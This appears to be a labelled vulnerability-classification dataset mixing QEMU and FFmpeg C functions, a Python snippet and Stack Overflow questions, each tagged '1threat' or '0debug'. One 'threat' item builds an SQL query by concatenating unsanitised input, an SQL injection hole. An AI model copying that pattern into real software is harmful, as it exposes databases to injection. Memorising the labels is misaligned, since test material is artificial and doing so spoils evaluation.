tcg_gen_ext32s_tl(t0, t0);
}
opn = "addi";
break;
case OPC_ADDIU:
tcg_gen_ext32s_tl(t0, t0);
tcg_gen_addi_tl(t0, t0, uimm);
tcg_gen_ext32s_tl(t0, t0);
opn = "addiu";
break;
#if defined(TARGET_MIPS64)
case OPC_DADDI:
{
TCGv r_tmp1 = tcg_temp_local_new(TCG_TYPE_TL);
TCGv r_tmp2 = tcg_temp_new(TCG_TYPE_TL);
int l1 = gen_new_label();
save_cpu_state(ctx, 1);
tcg_gen_mov_tl(r_tmp1, t0);
tcg_gen_addi_tl(t0, t0, uimm);
tcg_gen_xori_tl(r_tmp1, r_tmp1, uimm);
tcg_gen_xori_tl(r_tmp1, r_tmp1, -1);
tcg_gen_xori_tl(r_tmp2, t0, uimm);
tcg_gen_and_tl(r_tmp1, r_tmp1, r_tmp2);
tcg_temp_free(r_tmp2);
tcg_gen_shri_tl(r_tmp1, r_tmp1, 63);
tcg_gen_brcondi_tl(TCG_COND_EQ, r_tmp1, 0, l1);
tcg_temp_free(r_tmp1);
generate_exception(ctx, EXCP_OVERFLOW);
gen_set_label(l1);
}
opn = "daddi";
break;
case OPC_DADDIU:
tcg_gen_addi_tl(t0, t0, uimm);
opn = "daddiu";
break;
#endif
case OPC_SLTI:
gen_op_lti(t0, uimm);
opn = "slti";
break;
case OPC_SLTIU:
gen_op_ltiu(t0, uimm);
opn = "sltiu";
break;
case OPC_ANDI:
tcg_gen_andi_tl(t0, t0, uimm);
opn = "andi";
break;
case OPC_ORI:
tcg_gen_ori_tl(t0, t0, uimm);
opn = "ori";
break;
case OPC_XORI:
tcg_gen_xori_tl(t0, t0, uimm);
opn = "xori";
break;
case OPC_LUI:
opn = "lui";
break;
case OPC_SLL:
tcg_gen_ext32u_tl(t0, t0);
tcg_gen_shli_tl(t0, t0, uimm);
tcg_gen_ext32s_tl(t0, t0);
opn = "sll";
break;
case OPC_SRA:
tcg_gen_ext32s_tl(t0, t0);
tcg_gen_sari_tl(t0, t0, uimm);
tcg_gen_ext32s_tl(t0, t0);
opn = "sra";
break;
case OPC_SRL:
switch ((ctx->opcode >> 21) & 0x1f) {
case 0:
tcg_gen_ext32u_tl(t0, t0);
tcg_gen_shri_tl(t0, t0, uimm);
tcg_gen_ext32s_tl(t0, t0);
opn = "srl";
break;
case 1:
if (env->insn_flags & ISA_MIPS32R2) {
if (uimm != 0) {
TCGv r_tmp1 = tcg_temp_new(TCG_TYPE_I32);
tcg_gen_trunc_tl_i32(r_tmp1, t0);
tcg_gen_rotri_i32(r_tmp1, r_tmp1, uimm);
tcg_gen_ext_i32_tl(t0, r_tmp1);
tcg_temp_free(r_tmp1);
}
opn = "rotr";
} else {
tcg_gen_ext32u_tl(t0, t0);
tcg_gen_shri_tl(t0, t0, uimm);
tcg_gen_ext32s_tl(t0, t0);
opn = "srl";
}
break;
default:
MIPS_INVAL("invalid srl flag");
generate_exception(ctx, EXCP_RI);
break;
}
break;
#if defined(TARGET_MIPS64)
case OPC_DSLL:
tcg_gen_shli_tl(t0, t0, uimm);
opn = "dsll";
break;
case OPC_DSRA:
tcg_gen_sari_tl(t0, t0, uimm);
opn = "dsra";
break;
case OPC_DSRL:
switch ((ctx->opcode >> 21) & 0x1f) {
case 0:
tcg_gen_shri_tl(t0, t0, uimm);
opn = "dsrl";
break;
case 1:
if (env->insn_flags & ISA_MIPS32R2) {
if (uimm != 0) {
tcg_gen_rotri_tl(t0, t0, uimm);
}
opn = "drotr";
} else {
tcg_gen_shri_tl(t0, t0, uimm);
opn = "dsrl";
}
break;
default:
MIPS_INVAL("invalid dsrl flag");
generate_exception(ctx, EXCP_RI);
break;
}
break;
case OPC_DSLL32:
tcg_gen_shli_tl(t0, t0, uimm + 32);
opn = "dsll32";
break;
case OPC_DSRA32:
tcg_gen_sari_tl(t0, t0, uimm + 32);
opn = "dsra32";
break;
case OPC_DSRL32:
switch ((ctx->opcode >> 21) & 0x1f) {
case 0:
tcg_gen_shri_tl(t0, t0, uimm + 32);
opn = "dsrl32";
break;
case 1:
if (env->insn_flags & ISA_MIPS32R2) {
tcg_gen_rotri_tl(t0, t0, uimm + 32);
opn = "drotr32";
} else {
tcg_gen_shri_tl(t0, t0, uimm + 32);
opn = "dsrl32";
}
break;
default:
MIPS_INVAL("invalid dsrl32 flag");
generate_exception(ctx, EXCP_RI);
break;
}
break;
#endif
default:
MIPS_INVAL(opn);
generate_exception(ctx, EXCP_RI);
goto out;
}
gen_store_gpr(t0, rt);
MIPS_DEBUG("%s %s, %s, " TARGET_FMT_lx, opn, regnames[rt], regnames[rs], uimm);
out:
tcg_temp_free(t0);
}
| 1threat |
static int check_refblocks(BlockDriverState *bs, BdrvCheckResult *res,
BdrvCheckMode fix, uint16_t **refcount_table,
int64_t *nb_clusters)
{
BDRVQcowState *s = bs->opaque;
int64_t i, size;
int ret;
for(i = 0; i < s->refcount_table_size; i++) {
uint64_t offset, cluster;
offset = s->refcount_table[i];
cluster = offset >> s->cluster_bits;
if (offset_into_cluster(s, offset)) {
fprintf(stderr, "ERROR refcount block %" PRId64 " is not "
"cluster aligned; refcount table entry corrupted\n", i);
res->corruptions++;
continue;
}
if (cluster >= *nb_clusters) {
fprintf(stderr, "%s refcount block %" PRId64 " is outside image\n",
fix & BDRV_FIX_ERRORS ? "Repairing" : "ERROR", i);
if (fix & BDRV_FIX_ERRORS) {
int64_t old_nb_clusters = *nb_clusters;
uint16_t *new_refcount_table;
if (offset > INT64_MAX - s->cluster_size) {
ret = -EINVAL;
goto resize_fail;
}
ret = bdrv_truncate(bs->file, offset + s->cluster_size);
if (ret < 0) {
goto resize_fail;
}
size = bdrv_getlength(bs->file);
if (size < 0) {
ret = size;
goto resize_fail;
}
*nb_clusters = size_to_clusters(s, size);
assert(*nb_clusters >= old_nb_clusters);
new_refcount_table = g_try_realloc(*refcount_table,
*nb_clusters *
sizeof(**refcount_table));
if (!new_refcount_table) {
*nb_clusters = old_nb_clusters;
res->check_errors++;
return -ENOMEM;
}
*refcount_table = new_refcount_table;
memset(*refcount_table + old_nb_clusters, 0,
(*nb_clusters - old_nb_clusters) *
sizeof(**refcount_table));
if (cluster >= *nb_clusters) {
ret = -EINVAL;
goto resize_fail;
}
res->corruptions_fixed++;
ret = inc_refcounts(bs, res, refcount_table, nb_clusters,
offset, s->cluster_size);
if (ret < 0) {
return ret;
}
continue;
resize_fail:
res->corruptions++;
fprintf(stderr, "ERROR could not resize image: %s\n",
strerror(-ret));
} else {
res->corruptions++;
}
continue;
}
if (offset != 0) {
ret = inc_refcounts(bs, res, refcount_table, nb_clusters,
offset, s->cluster_size);
if (ret < 0) {
return ret;
}
if ((*refcount_table)[cluster] != 1) {
fprintf(stderr, "%s refcount block %" PRId64
" refcount=%d\n",
fix & BDRV_FIX_ERRORS ? "Repairing" :
"ERROR",
i, (*refcount_table)[cluster]);
if (fix & BDRV_FIX_ERRORS) {
int64_t new_offset;
new_offset = realloc_refcount_block(bs, i, offset);
if (new_offset < 0) {
res->corruptions++;
continue;
}
if ((new_offset >> s->cluster_bits) >= *nb_clusters) {
int old_nb_clusters = *nb_clusters;
*nb_clusters = (new_offset >> s->cluster_bits) + 1;
*refcount_table = g_renew(uint16_t, *refcount_table,
*nb_clusters);
memset(&(*refcount_table)[old_nb_clusters], 0,
(*nb_clusters - old_nb_clusters) *
sizeof(**refcount_table));
}
(*refcount_table)[cluster]--;
ret = inc_refcounts(bs, res, refcount_table, nb_clusters,
new_offset, s->cluster_size);
if (ret < 0) {
return ret;
}
res->corruptions_fixed++;
} else {
res->corruptions++;
}
}
}
}
return 0;
}
| 1threat |
Select from pandas dataframe using boolean series/array : <p>I have a dataframe:</p>
<pre><code> High Low Close
Date
2009-02-11 30.20 29.41 29.87
2009-02-12 30.28 29.32 30.24
2009-02-13 30.45 29.96 30.10
2009-02-17 29.35 28.74 28.90
2009-02-18 29.35 28.56 28.92
</code></pre>
<p>and a boolean series:</p>
<pre><code> bools
1 True
2 False
3 False
4 True
5 False
</code></pre>
<p>how could I select from the dataframe using the boolean array to obtain result like:</p>
<pre><code> High
Date
2009-02-11 30.20
2009-02-17 29.35
</code></pre>
| 0debug |
def sample_nam(sample_names):
sample_names=list(filter(lambda el:el[0].isupper() and el[1:].islower(),sample_names))
return len(''.join(sample_names)) | 0debug |
void ga_command_state_init(GAState *s, GACommandState *cs)
{
if (vss_init(true)) {
ga_command_state_add(cs, NULL, guest_fsfreeze_cleanup);
}
}
| 1threat |
db.execute('SELECT * FROM products WHERE product_id = ' + product_input) | 1threat |
How to prevent msbuild config transforms in particular environments? : <p>I have a azure webjob project that uses config transforms to create dev/test/release configuration. We are using TFS for CI/CD deployment to Azure. I want to have MSBuild apply the transforms for dev so we can debug locally. However, when we are building in TFS in the CI/CD pipeline I need to disable the config transforms during the build step. </p>
<p>TFS has an "apply XML transformations" checkbox in the release step, which is where we want the transforms applied since we have the environment variable set during release. Unfortunately, this is not working because the transforms are already applied during build so the release artifact only has the finished output file, not the separate transform files. </p>
<p>I have tried editing the .csproj file to disable the transforms. I assume the transforms are being performed by the following section of the project file:</p>
<pre><code><UsingTask TaskName="TransformXml" AssemblyFile="$(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)\Web\Microsoft.Web.Publishing.Tasks.dll" />
<Target Name="AfterCompile" Condition="Exists('App.$(Configuration).config')">
<!--Generate transformed app config in the intermediate directory-->
<TransformXml Source="App.config" Destination="$(IntermediateOutputPath)$(TargetFileName).config" Transform="App.$(Configuration).config" />
<!--Force build process to use the transformed configuration file from now on.-->
<ItemGroup>
<AppConfigWithTargetPath Remove="App.config" />
<AppConfigWithTargetPath Include="$(IntermediateOutputPath)$(TargetFileName).config">
<TargetPath>$(TargetFileName).config</TargetPath>
</AppConfigWithTargetPath>
</ItemGroup>
</Target>
<!--Override After Publish to support ClickOnce AfterPublish. Target replaces the untransformed config file copied to the deployment directory with the transformed one.-->
<Target Name="AfterPublish">
<PropertyGroup>
<DeployedConfig>$(_DeploymentApplicationDir)$(TargetName)$(TargetExt).config$(_DeploymentFileMappingExtension)</DeployedConfig>
</PropertyGroup>
<!--Publish copies the untransformed App.config to deployment directory so overwrite it-->
<Copy Condition="Exists('$(DeployedConfig)')" SourceFiles="$(IntermediateOutputPath)$(TargetFileName).config" DestinationFiles="$(DeployedConfig)" />
</Target>
</code></pre>
<p>I tried adding conditions like "$(Configuration)|$(Platform)' == 'Debug|AnyCPU'" to these sections, and it did not help (the transforms still got applied in all three environments). I even commented this section out completely, and I still got the transforms. This leaves me with three questions:</p>
<ol>
<li>How can the config transforms be disabled? </li>
<li>How can I conditionally
disable them so they are still applied when debugging in VS? </li>
<li>Is this
the correct approach, or is there a better way to get the correct
transform applied when using CI/CD in TFS 2017?</li>
</ol>
| 0debug |
How to zero specific column of 2d array : <p>Lets say I have a specific 2d array of 100x100 like so</p>
<p>I'm implementing an adjacency matrix and thus I want to be able to zero a specific column and line (the same column and line in this case), zeroing lines is pretty straightforward but I'm not really able to understand how I would go about for columns.</p>
<p>For example to zero the 2nd element of the adjacency matrix:</p>
<p><a href="https://i.stack.imgur.com/XV2D5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/XV2D5.png" alt="enter image description here"></a></p>
| 0debug |
How to assign Panels to Buttons in C# : <p>I have 5 panels on a form and i want to set them on buttons so that if a button is clicked a panel set on that button is shown. This should also work on random click.</p>
| 0debug |
How to use font awesome 5 installed via NPM : <p>I am not finding any docs for what to do next, I installed into my project via npm,</p>
<p><code>$ npm install --save @fortawesome/fontawesome-free-webfonts</code></p>
<p>But now what? Can anyone point me to how to actually import or use it now?
Thank you.</p>
| 0debug |
Why is the result 0x18 instead of 0x12? : <p>The code is as follows:</p>
<pre><code>int main() {
// your code goes here
int val = 0x18;
int val1 = val&0xf + ((val>>4)&0xf)*10;
printf("%d %d\n",val1,val1&0x3f);
return 0;
}
</code></pre>
<p>I'm caught in a loop or something I can't figure it out. My handcrafted, step by step calculation places the result at 0x12 which is 18D, but I tried 2 compilers the print out was always 0x18.</p>
<p>Why is that?</p>
<p>The last step I calculated was 8+ 10 = 18?</p>
| 0debug |
I have three grouped sql statements that i want to combine in to one sql. Iam using SQL Server 2012. Here is an example : --ON TIME PMWO's
SELECT LOCATION, COUNT(WONUM) AS OnTimePMWOs
FROM
WORKORDER
WHERE worktype = 'pm' and actfinish<=targcompdate
GROUP BY LOCATION
--PAST DUE PMWO'S
SELECT LOCATION, COUNT(WONUM) AS PastDuePMWOs
FROM
WORKORDER
WHERE worktype = 'pm' and actfinish>=targcompdate
GROUP BY LOCATION
--30 DayForecast-
SELECT W.location, COUNT(W.wonum) AS Forecast30days
from
workorder AS W
INNER JOIN PMFORECAST AS P
ON W.CHANGEDATE=P.CHANGEDATE
WHERE WORKTYPE='PM' AND P.forecastdate>= GETDATE()+30
GROUP BY LOCATION
| 0debug |
ERR_SPDY_PROTOCOL_ERROR Ajax .net web api : <p>Running into a very strange error when trying to execute Ajax calls to a .NET Web Api hosted on IIS on Azure. </p>
<p>I've got my SSL cert from let's encrypt, it's applied to the website properly. When I try to execute an ajax call I get:</p>
<p><em>net::ERR_SPDY_PROTOCOL_ERROR</em></p>
<p>If Fiddler is open, all works properly. With Fiddler closed, we get the error. Regular old HTTP works just fine.</p>
| 0debug |
Cake PHP Image cannot be smaller : I am making card design in cakephp,
but when it comes to show longer image than 600px width,
It extended insanely!!!
I am using placeholder or dummyimage but it has no problem.
Why this is happening? What should I do to show smaller images?
html inline width height constraint did not work.
```
<div class="cards">
<div class="image">
<img src="https://dummyimage.com/600x150/000/fff" >
</div>
</div>
```
[![300x300img][1]][1]
[![enter image description here][2]][2]
[1]: https://i.stack.imgur.com/aQPRc.png
[2]: https://i.stack.imgur.com/ZoXqn.png | 0debug |
AVStream *add_video_stream(AVFormatContext *oc, int codec_id)
{
AVCodec *codec;
AVCodecContext *c;
AVStream *st;
uint8_t *picture_buf;
int size;
st = av_new_stream(oc, 0);
if (!st) {
fprintf(stderr, "Could not alloc stream\n");
exit(1);
}
codec = avcodec_find_encoder(codec_id);
if (!codec) {
fprintf(stderr, "codec not found\n");
exit(1);
}
c = &st->codec;
c->codec_type = CODEC_TYPE_VIDEO;
c->bit_rate = 400000;
c->width = 352;
c->height = 288;
c->frame_rate = 25;
c->frame_rate_base= 1;
c->gop_size = 12;
if (avcodec_open(c, codec) < 0) {
fprintf(stderr, "could not open codec\n");
exit(1);
}
picture= avcodec_alloc_frame();
video_outbuf_size = 100000;
video_outbuf = malloc(video_outbuf_size);
size = c->width * c->height;
picture_buf = malloc((size * 3) / 2);
picture->data[0] = picture_buf;
picture->data[1] = picture->data[0] + size;
picture->data[2] = picture->data[1] + size / 4;
picture->linesize[0] = c->width;
picture->linesize[1] = c->width / 2;
picture->linesize[2] = c->width / 2;
return st;
}
| 1threat |
static int dxtory_decode_v1_410(AVCodecContext *avctx, AVFrame *pic,
const uint8_t *src, int src_size)
{
int h, w;
uint8_t *Y1, *Y2, *Y3, *Y4, *U, *V;
int ret;
if (src_size < avctx->width * avctx->height * 9LL / 8) {
av_log(avctx, AV_LOG_ERROR, "packet too small\n");
return AVERROR_INVALIDDATA;
}
avctx->pix_fmt = AV_PIX_FMT_YUV410P;
if ((ret = ff_get_buffer(avctx, pic, 0)) < 0)
return ret;
Y1 = pic->data[0];
Y2 = pic->data[0] + pic->linesize[0];
Y3 = pic->data[0] + pic->linesize[0] * 2;
Y4 = pic->data[0] + pic->linesize[0] * 3;
U = pic->data[1];
V = pic->data[2];
for (h = 0; h < avctx->height; h += 4) {
for (w = 0; w < avctx->width; w += 4) {
AV_COPY32U(Y1 + w, src);
AV_COPY32U(Y2 + w, src + 4);
AV_COPY32U(Y3 + w, src + 8);
AV_COPY32U(Y4 + w, src + 12);
U[w >> 2] = src[16] + 0x80;
V[w >> 2] = src[17] + 0x80;
src += 18;
}
Y1 += pic->linesize[0] << 2;
Y2 += pic->linesize[0] << 2;
Y3 += pic->linesize[0] << 2;
Y4 += pic->linesize[0] << 2;
U += pic->linesize[1];
V += pic->linesize[2];
}
return 0;
}
| 1threat |
How to detect no touches in screen JavaScript? : <p>I have simple HTML page is showed on mobile devices. How to detect no changes/touches and execute function after time (leave user from page)?</p>
| 0debug |
START_TEST(simple_string)
{
int i;
struct {
const char *encoded;
const char *decoded;
} test_cases[] = {
{ "\"hello world\"", "hello world" },
{ "\"the quick brown fox jumped over the fence\"",
"the quick brown fox jumped over the fence" },
{}
};
for (i = 0; test_cases[i].encoded; i++) {
QObject *obj;
QString *str;
obj = qobject_from_json(test_cases[i].encoded);
fail_unless(obj != NULL);
fail_unless(qobject_type(obj) == QTYPE_QSTRING);
str = qobject_to_qstring(obj);
fail_unless(strcmp(qstring_get_str(str), test_cases[i].decoded) == 0);
str = qobject_to_json(obj);
fail_unless(strcmp(qstring_get_str(str), test_cases[i].encoded) == 0);
qobject_decref(obj);
QDECREF(str);
}
}
| 1threat |
static void do_video_out(AVFormatContext *s,
OutputStream *ost,
AVFrame *in_picture,
float quality)
{
int ret, format_video_sync;
AVPacket pkt;
AVCodecContext *enc = ost->st->codec;
int nb_frames;
double sync_ipts, delta;
double duration = 0;
int frame_size = 0;
InputStream *ist = NULL;
if (ost->source_index >= 0)
ist = input_streams[ost->source_index];
if(ist && ist->st->start_time != AV_NOPTS_VALUE && ist->st->first_dts != AV_NOPTS_VALUE && ost->frame_rate.num)
duration = 1/(av_q2d(ost->frame_rate) * av_q2d(enc->time_base));
sync_ipts = in_picture->pts;
delta = sync_ipts - ost->sync_opts + duration;
nb_frames = 1;
format_video_sync = video_sync_method;
if (format_video_sync == VSYNC_AUTO)
format_video_sync = (s->oformat->flags & AVFMT_VARIABLE_FPS) ? ((s->oformat->flags & AVFMT_NOTIMESTAMPS) ? VSYNC_PASSTHROUGH : VSYNC_VFR) : 1;
switch (format_video_sync) {
case VSYNC_CFR:
if (delta < -1.1)
nb_frames = 0;
else if (delta > 1.1)
nb_frames = lrintf(delta);
break;
case VSYNC_VFR:
if (delta <= -0.6)
nb_frames = 0;
else if (delta > 0.6)
ost->sync_opts = lrint(sync_ipts);
break;
case VSYNC_DROP:
case VSYNC_PASSTHROUGH:
ost->sync_opts = lrint(sync_ipts);
break;
default:
av_assert0(0);
nb_frames = FFMIN(nb_frames, ost->max_frames - ost->frame_number);
if (nb_frames == 0) {
av_log(NULL, AV_LOG_VERBOSE, "*** drop!\n");
} else if (nb_frames > 1) {
nb_frames_dup += nb_frames - 1;
av_log(NULL, AV_LOG_VERBOSE, "*** %d dup!\n", nb_frames - 1);
duplicate_frame:
av_init_packet(&pkt);
pkt.data = NULL;
pkt.size = 0;
in_picture->pts = ost->sync_opts;
if (s->oformat->flags & AVFMT_RAWPICTURE &&
enc->codec->id == CODEC_ID_RAWVIDEO) {
enc->coded_frame->interlaced_frame = in_picture->interlaced_frame;
enc->coded_frame->top_field_first = in_picture->top_field_first;
pkt.data = (uint8_t *)in_picture;
pkt.size = sizeof(AVPicture);
pkt.pts = av_rescale_q(in_picture->pts, enc->time_base, ost->st->time_base);
pkt.flags |= AV_PKT_FLAG_KEY;
write_frame(s, &pkt, ost);
video_size += pkt.size;
} else {
int got_packet;
AVFrame big_picture;
big_picture = *in_picture;
big_picture.interlaced_frame = in_picture->interlaced_frame;
if (ost->st->codec->flags & (CODEC_FLAG_INTERLACED_DCT|CODEC_FLAG_INTERLACED_ME)) {
if (ost->top_field_first == -1)
big_picture.top_field_first = in_picture->top_field_first;
else
big_picture.top_field_first = !!ost->top_field_first;
big_picture.quality = quality;
if (!enc->me_threshold)
big_picture.pict_type = 0;
if (ost->forced_kf_index < ost->forced_kf_count &&
big_picture.pts >= ost->forced_kf_pts[ost->forced_kf_index]) {
big_picture.pict_type = AV_PICTURE_TYPE_I;
ost->forced_kf_index++;
update_benchmark(NULL);
ret = avcodec_encode_video2(enc, &pkt, &big_picture, &got_packet);
update_benchmark("encode_video %d.%d", ost->file_index, ost->index);
if (ret < 0) {
av_log(NULL, AV_LOG_FATAL, "Video encoding failed\n");
exit_program(1);
if (got_packet) {
if (pkt.pts == AV_NOPTS_VALUE && !(enc->codec->capabilities & CODEC_CAP_DELAY))
pkt.pts = ost->sync_opts;
if (pkt.pts != AV_NOPTS_VALUE)
pkt.pts = av_rescale_q(pkt.pts, enc->time_base, ost->st->time_base);
if (pkt.dts != AV_NOPTS_VALUE)
pkt.dts = av_rescale_q(pkt.dts, enc->time_base, ost->st->time_base);
if (debug_ts) {
av_log(NULL, AV_LOG_INFO, "encoder -> type:video "
"pkt_pts:%s pkt_pts_time:%s pkt_dts:%s pkt_dts_time:%s\n",
av_ts2str(pkt.pts), av_ts2timestr(pkt.pts, &ost->st->time_base),
av_ts2str(pkt.dts), av_ts2timestr(pkt.dts, &ost->st->time_base));
write_frame(s, &pkt, ost);
frame_size = pkt.size;
video_size += pkt.size;
av_free_packet(&pkt);
if (ost->logfile && enc->stats_out) {
fprintf(ost->logfile, "%s", enc->stats_out);
ost->sync_opts++;
ost->frame_number++;
if(--nb_frames)
goto duplicate_frame;
if (vstats_filename && frame_size)
do_video_stats(output_files[ost->file_index]->ctx, ost, frame_size);
| 1threat |
Django admin custom ArrayField widget : <p>The current admin widget for ArrayField is one field, with comma as delimiter, like this (text list):</p>
<p><a href="https://i.stack.imgur.com/gSWkC.png" rel="noreferrer"><img src="https://i.stack.imgur.com/gSWkC.png" alt="Current admin ArrayField widget"></a></p>
<p>This isn't ideal because I would have longer texts (even 20 words) and contain commas. I could <a href="https://stackoverflow.com/questions/45133593/django-admin-model-arrayfield-change-delimiter">change the delimiter to be something else</a> but that still doesn't help with unreadable content in admin.</p>
<p>What I would like is having a list of fields, that I can alter in admin. Something similar to the following image</p>
<p><a href="https://i.stack.imgur.com/bR47G.png" rel="noreferrer"><img src="https://i.stack.imgur.com/bR47G.png" alt="Wanted admin ArrayField widget"></a></p>
<p>I could use another table to solve this, but I wonder if it's possible to solve it this way.</p>
| 0debug |
void mpv_decode_mb_internal(MpegEncContext *s, int16_t block[12][64],
int is_mpeg12)
{
const int mb_xy = s->mb_y * s->mb_stride + s->mb_x;
#if FF_API_XVMC
FF_DISABLE_DEPRECATION_WARNINGS
if(CONFIG_MPEG_XVMC_DECODER && s->avctx->xvmc_acceleration){
ff_xvmc_decode_mb(s);
return;
}
FF_ENABLE_DEPRECATION_WARNINGS
#endif
if(s->avctx->debug&FF_DEBUG_DCT_COEFF) {
int i,j;
av_log(s->avctx, AV_LOG_DEBUG, "DCT coeffs of MB at %dx%d:\n", s->mb_x, s->mb_y);
for(i=0; i<6; i++){
for(j=0; j<64; j++){
av_log(s->avctx, AV_LOG_DEBUG, "%5d",
block[i][s->idsp.idct_permutation[j]]);
}
av_log(s->avctx, AV_LOG_DEBUG, "\n");
}
}
s->current_picture.qscale_table[mb_xy] = s->qscale;
if (!s->mb_intra) {
if (!is_mpeg12 && (s->h263_pred || s->h263_aic)) {
if(s->mbintra_table[mb_xy])
ff_clean_intra_table_entries(s);
} else {
s->last_dc[0] =
s->last_dc[1] =
s->last_dc[2] = 128 << s->intra_dc_precision;
}
}
else if (!is_mpeg12 && (s->h263_pred || s->h263_aic))
s->mbintra_table[mb_xy]=1;
if ((s->avctx->flags & AV_CODEC_FLAG_PSNR) ||
!(s->encoding && (s->intra_only || s->pict_type == AV_PICTURE_TYPE_B) &&
s->avctx->mb_decision != FF_MB_DECISION_RD)) {
uint8_t *dest_y, *dest_cb, *dest_cr;
int dct_linesize, dct_offset;
op_pixels_func (*op_pix)[4];
qpel_mc_func (*op_qpix)[16];
const int linesize = s->current_picture.f->linesize[0];
const int uvlinesize = s->current_picture.f->linesize[1];
const int readable= s->pict_type != AV_PICTURE_TYPE_B || s->encoding || s->avctx->draw_horiz_band;
const int block_size = 8;
if(!s->encoding){
uint8_t *mbskip_ptr = &s->mbskip_table[mb_xy];
if (s->mb_skipped) {
s->mb_skipped= 0;
assert(s->pict_type!=AV_PICTURE_TYPE_I);
*mbskip_ptr = 1;
} else if(!s->current_picture.reference) {
*mbskip_ptr = 1;
} else{
*mbskip_ptr = 0;
}
}
dct_linesize = linesize << s->interlaced_dct;
dct_offset = s->interlaced_dct ? linesize : linesize * block_size;
if(readable){
dest_y= s->dest[0];
dest_cb= s->dest[1];
dest_cr= s->dest[2];
}else{
dest_y = s->sc.b_scratchpad;
dest_cb= s->sc.b_scratchpad+16*linesize;
dest_cr= s->sc.b_scratchpad+32*linesize;
}
if (!s->mb_intra) {
if(!s->encoding){
if(HAVE_THREADS && s->avctx->active_thread_type&FF_THREAD_FRAME) {
if (s->mv_dir & MV_DIR_FORWARD) {
ff_thread_await_progress(&s->last_picture_ptr->tf,
lowest_referenced_row(s, 0),
0);
}
if (s->mv_dir & MV_DIR_BACKWARD) {
ff_thread_await_progress(&s->next_picture_ptr->tf,
lowest_referenced_row(s, 1),
0);
}
}
op_qpix= s->me.qpel_put;
if ((!s->no_rounding) || s->pict_type==AV_PICTURE_TYPE_B){
op_pix = s->hdsp.put_pixels_tab;
}else{
op_pix = s->hdsp.put_no_rnd_pixels_tab;
}
if (s->mv_dir & MV_DIR_FORWARD) {
ff_mpv_motion(s, dest_y, dest_cb, dest_cr, 0, s->last_picture.f->data, op_pix, op_qpix);
op_pix = s->hdsp.avg_pixels_tab;
op_qpix= s->me.qpel_avg;
}
if (s->mv_dir & MV_DIR_BACKWARD) {
ff_mpv_motion(s, dest_y, dest_cb, dest_cr, 1, s->next_picture.f->data, op_pix, op_qpix);
}
}
if(s->avctx->skip_idct){
if( (s->avctx->skip_idct >= AVDISCARD_NONREF && s->pict_type == AV_PICTURE_TYPE_B)
||(s->avctx->skip_idct >= AVDISCARD_NONKEY && s->pict_type != AV_PICTURE_TYPE_I)
|| s->avctx->skip_idct >= AVDISCARD_ALL)
goto skip_idct;
}
if(s->encoding || !( s->msmpeg4_version || s->codec_id==AV_CODEC_ID_MPEG1VIDEO || s->codec_id==AV_CODEC_ID_MPEG2VIDEO
|| (s->codec_id==AV_CODEC_ID_MPEG4 && !s->mpeg_quant))){
add_dequant_dct(s, block[0], 0, dest_y , dct_linesize, s->qscale);
add_dequant_dct(s, block[1], 1, dest_y + block_size, dct_linesize, s->qscale);
add_dequant_dct(s, block[2], 2, dest_y + dct_offset , dct_linesize, s->qscale);
add_dequant_dct(s, block[3], 3, dest_y + dct_offset + block_size, dct_linesize, s->qscale);
if (!CONFIG_GRAY || !(s->avctx->flags & AV_CODEC_FLAG_GRAY)) {
if (s->chroma_y_shift){
add_dequant_dct(s, block[4], 4, dest_cb, uvlinesize, s->chroma_qscale);
add_dequant_dct(s, block[5], 5, dest_cr, uvlinesize, s->chroma_qscale);
}else{
dct_linesize >>= 1;
dct_offset >>=1;
add_dequant_dct(s, block[4], 4, dest_cb, dct_linesize, s->chroma_qscale);
add_dequant_dct(s, block[5], 5, dest_cr, dct_linesize, s->chroma_qscale);
add_dequant_dct(s, block[6], 6, dest_cb + dct_offset, dct_linesize, s->chroma_qscale);
add_dequant_dct(s, block[7], 7, dest_cr + dct_offset, dct_linesize, s->chroma_qscale);
}
}
} else if(is_mpeg12 || (s->codec_id != AV_CODEC_ID_WMV2)){
add_dct(s, block[0], 0, dest_y , dct_linesize);
add_dct(s, block[1], 1, dest_y + block_size, dct_linesize);
add_dct(s, block[2], 2, dest_y + dct_offset , dct_linesize);
add_dct(s, block[3], 3, dest_y + dct_offset + block_size, dct_linesize);
if (!CONFIG_GRAY || !(s->avctx->flags & AV_CODEC_FLAG_GRAY)) {
if(s->chroma_y_shift){
add_dct(s, block[4], 4, dest_cb, uvlinesize);
add_dct(s, block[5], 5, dest_cr, uvlinesize);
}else{
dct_linesize = uvlinesize << s->interlaced_dct;
dct_offset = s->interlaced_dct ? uvlinesize : uvlinesize * 8;
add_dct(s, block[4], 4, dest_cb, dct_linesize);
add_dct(s, block[5], 5, dest_cr, dct_linesize);
add_dct(s, block[6], 6, dest_cb+dct_offset, dct_linesize);
add_dct(s, block[7], 7, dest_cr+dct_offset, dct_linesize);
if(!s->chroma_x_shift){
add_dct(s, block[8], 8, dest_cb+8, dct_linesize);
add_dct(s, block[9], 9, dest_cr+8, dct_linesize);
add_dct(s, block[10], 10, dest_cb+8+dct_offset, dct_linesize);
add_dct(s, block[11], 11, dest_cr+8+dct_offset, dct_linesize);
}
}
}
}
else if (CONFIG_WMV2_DECODER || CONFIG_WMV2_ENCODER) {
ff_wmv2_add_mb(s, block, dest_y, dest_cb, dest_cr);
}
} else {
if(s->encoding || !(s->codec_id==AV_CODEC_ID_MPEG1VIDEO || s->codec_id==AV_CODEC_ID_MPEG2VIDEO)){
put_dct(s, block[0], 0, dest_y , dct_linesize, s->qscale);
put_dct(s, block[1], 1, dest_y + block_size, dct_linesize, s->qscale);
put_dct(s, block[2], 2, dest_y + dct_offset , dct_linesize, s->qscale);
put_dct(s, block[3], 3, dest_y + dct_offset + block_size, dct_linesize, s->qscale);
if (!CONFIG_GRAY || !(s->avctx->flags & AV_CODEC_FLAG_GRAY)) {
if(s->chroma_y_shift){
put_dct(s, block[4], 4, dest_cb, uvlinesize, s->chroma_qscale);
put_dct(s, block[5], 5, dest_cr, uvlinesize, s->chroma_qscale);
}else{
dct_offset >>=1;
dct_linesize >>=1;
put_dct(s, block[4], 4, dest_cb, dct_linesize, s->chroma_qscale);
put_dct(s, block[5], 5, dest_cr, dct_linesize, s->chroma_qscale);
put_dct(s, block[6], 6, dest_cb + dct_offset, dct_linesize, s->chroma_qscale);
put_dct(s, block[7], 7, dest_cr + dct_offset, dct_linesize, s->chroma_qscale);
}
}
}else{
s->idsp.idct_put(dest_y, dct_linesize, block[0]);
